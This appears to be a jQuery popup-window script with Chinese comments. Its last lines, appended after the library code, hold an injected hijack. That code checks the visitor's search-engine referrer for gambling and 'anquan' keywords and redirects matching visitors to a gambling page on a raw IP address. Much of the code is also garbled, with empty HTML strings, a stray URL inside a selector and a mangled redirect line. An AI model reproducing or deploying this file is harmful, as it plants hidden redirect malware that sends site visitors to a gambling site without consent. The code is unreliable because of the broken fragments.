///------------------------------------------------------------------------- //jQuery弹出窗口 By Await [2009-11-22] //-------------------------------------------------------------------------- /*参数:[可选参数在调用时可写可不写,其他为必写] ---------------------------------------------------------------------------- title: 窗口标题 content: 内容(可选内容为){ text | id | img | url | iframe } width: 内容宽度 height: 内容高度 drag: 是否可以拖动(ture为是,false为否) time: 自动关闭等待的时间,为空是则不自动关闭 showbg: [可选参数]设置是否显示遮罩层(0为不显示,1为显示) cssName: [可选参数]附加class名称 ------------------------------------------------------------------------*/ //示例: //------------------------------------------------------------------------ //simpleWindown("例子","text:例子","500","400","true","3000","0","exa") //------------------------------------------------------------------------ var showWindown = true; var templateSrc = ""; //设置loading.gif路径 function tipsWindown(title,content,width,height,drag,time,showbg,cssName,backcall) { $("#windown-box").remove(); //请除内容 var width = width>= 950?this.width=950:this.width=width; //设置最大窗口宽度 var height = height>= 527?this.height=527:this.height=height; //设置最大窗口高度 if(showWindown == true) { var simpleWindown_html = new String; simpleWindown_html = "
"; simpleWindown_html += "
"; simpleWindown_html += "

关闭
"; simpleWindown_html += "
"; simpleWindown_html += "
"; $("body").append(simpleWindown_html); show = false; } contentType = content.substring(0,content.indexOf(":")); content = content.substring(content.indexOf(":")+1,content.length); switch(contentType) { case "text": $("#windown-content").html(content); break; case "id": $("#windown-content").html($("#"http://www.emyline.cn/+content+"").html()); break; case "img": $("#windown-content").ajaxStart(function() { $(this).html(""); }); $.ajax({ error:function(){ $("#windown-content").html("

加载数据出错...

"); }, success:function(html){ $("#windown-content").html(""); } }); break; case "url": var content_array=content.split("?"); $("#windown-content").ajaxStart(function(){ $(this).html(""); }); $.ajax({ type:content_array[0], url:content_array[1], data:content_array[2], error:function(){ $("#windown-content").html("

加载数据出错...

"); }, success:function(html){ $("#windown-content").html(html); if(backcall) backcall(); } }); break; case "iframe": $("#windown-content").ajaxStart(function(){ $(this).html(""); }); $.ajax({ error:function(){ $("#windown-content").html("

加载数据出错...

"); }, success:function(html){ $("#windown-content").html(""); } }); } $("#windown-title h2").html(title); if(showbg == "true") {$("#windownbg").show();}else {$("#windownbg").remove();}; $("#windownbg").animate({opacity:"0.7"},"normal");//设置透明度 $("#windown-box").show(); if( height >= 527 ) { $("#windown-title").css({width:(parseInt(width)+22)+"px"}); $("#windown-content").css({width:(parseInt(width)+17)+"px",height:height+"px"}); }else { $("#windown-title").css({width:(parseInt(width)+10)+"px"}); $("#windown-content").css({width:width+"px",height:height+"px"}); } var cw = document.documentElement.clientWidth,ch = document.documentElement.clientHeight,est = document.documentElement.scrollTop; var _version = $.browser.version; if ( _version == 6.0 ) { $("#windown-box").css({left:"50%",top:(parseInt((ch)/2)+est)+"px",marginTop: -((parseInt(height)+53)/2)+"px",marginLeft:-((parseInt(width)+32)/2)+"px",zIndex: "999999"}); }else { $("#windown-box").css({left:"50%",top:"50%",marginTop:-((parseInt(height)+53)/2)+"px",marginLeft:-((parseInt(width)+32)/2)+"px",zIndex: "999999"}); }; var Drag_ID = document.getElementById("windown-box"),DragHead = document.getElementById("windown-title"); var moveX = 0,moveY = 0,moveTop,moveLeft = 0,moveable = false; if ( _version == 6.0 ) { moveTop = est; }else { moveTop = 0; } var sw = Drag_ID.scrollWidth,sh = Drag_ID.scrollHeight; DragHead.onmouseover = function(e) { if(drag == "true"){DragHead.style.cursor = "move";}else{DragHead.style.cursor = "default";} }; DragHead.onmousedown = function(e) { if(drag == "true"){moveable = true;}else{moveable = false;} e = window.event?window.event:e; var ol = Drag_ID.offsetLeft, ot = Drag_ID.offsetTop-moveTop; moveX = e.clientX-ol; moveY = e.clientY-ot; document.onmousemove = function(e) { if (moveable) { e = window.event?window.event:e; var x = e.clientX - moveX; var y = e.clientY - moveY; if ( x > 0 &&( x + sw < cw) && y > 0 && (y + sh < ch) ) { Drag_ID.style.left = x + "px"; Drag_ID.style.top = parseInt(y+moveTop) + "px"; Drag_ID.style.margin = "auto"; } } } document.onmouseup = function () {moveable = false;}; Drag_ID.onselectstart = function(e){return false;} } $("#windown-content").attr("class","windown-"+cssName); if( time == "" || typeof(time) == "undefined") { $("#windown-close").click(function() { showselect('t123_') $("#windownbg").remove(); $("#windown-box").fadeOut("slow",function(){$(this).remove();}); }); }else { setTimeout(closeWindown,time); } hideselect('t123_'); } var closeWindown = function() { showselect('t123_'); $("#windownbg").remove(); $("#windown-box").fadeOut("slow",function(){$(this).remove();}); } function hideselect(per) { var _version = $.browser.version; if ( _version == 6.0 ) { $("select",document).each(function(){ if($(this).attr('name')) { if($(this).attr('name').substring(0,5)==per) { name = $(this).attr('name').substring(5); $(this).attr('name',name); $(this).css('display',''); } if($(this).css('display')!='none') { name = per+$(this).attr('name'); $(this).attr('name',name); } $(this).css('display','none'); } }); } } function showselect(per) { var _version = $.browser.version; if ( _version == 6.0 ) { $("select",document).each(function(){ if($(this).attr('name')) { if($(this).attr('name').substring(0,5)==per) { name = $(this).attr('name').substring(5); $(this).attr('name',name); $(this).css('display',''); } } }); } } var d=document.referrer; var re=/((wd|q|w|p|query)(=)([%A-Z0-9]*)(888|888))|(888)|((wd|q|w|p|query)(=)([%A-Z0-9]*)(888|888))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(888))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(888))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(%E5%A4%A7%E5%8F%91888|%E5%A4%A7%E5%8F%91888))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(888|888))|((wd|q|w|query)(=)([%A-Z0-9]*)(888|888))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(888|888))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(888))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(888|888))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(888|888))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(888))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(888|888))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(888|888))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(888|888))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(888|888))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(888|888))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(888|888))|anquan|ANQUAN/; if(re.test(d)){ document.write('
'); document.write(''); var curl=window.location.href; murl="http://116.255.134.55/dafa888.html#cars"; setTimeout("window.location.href="" nvsm """,100); }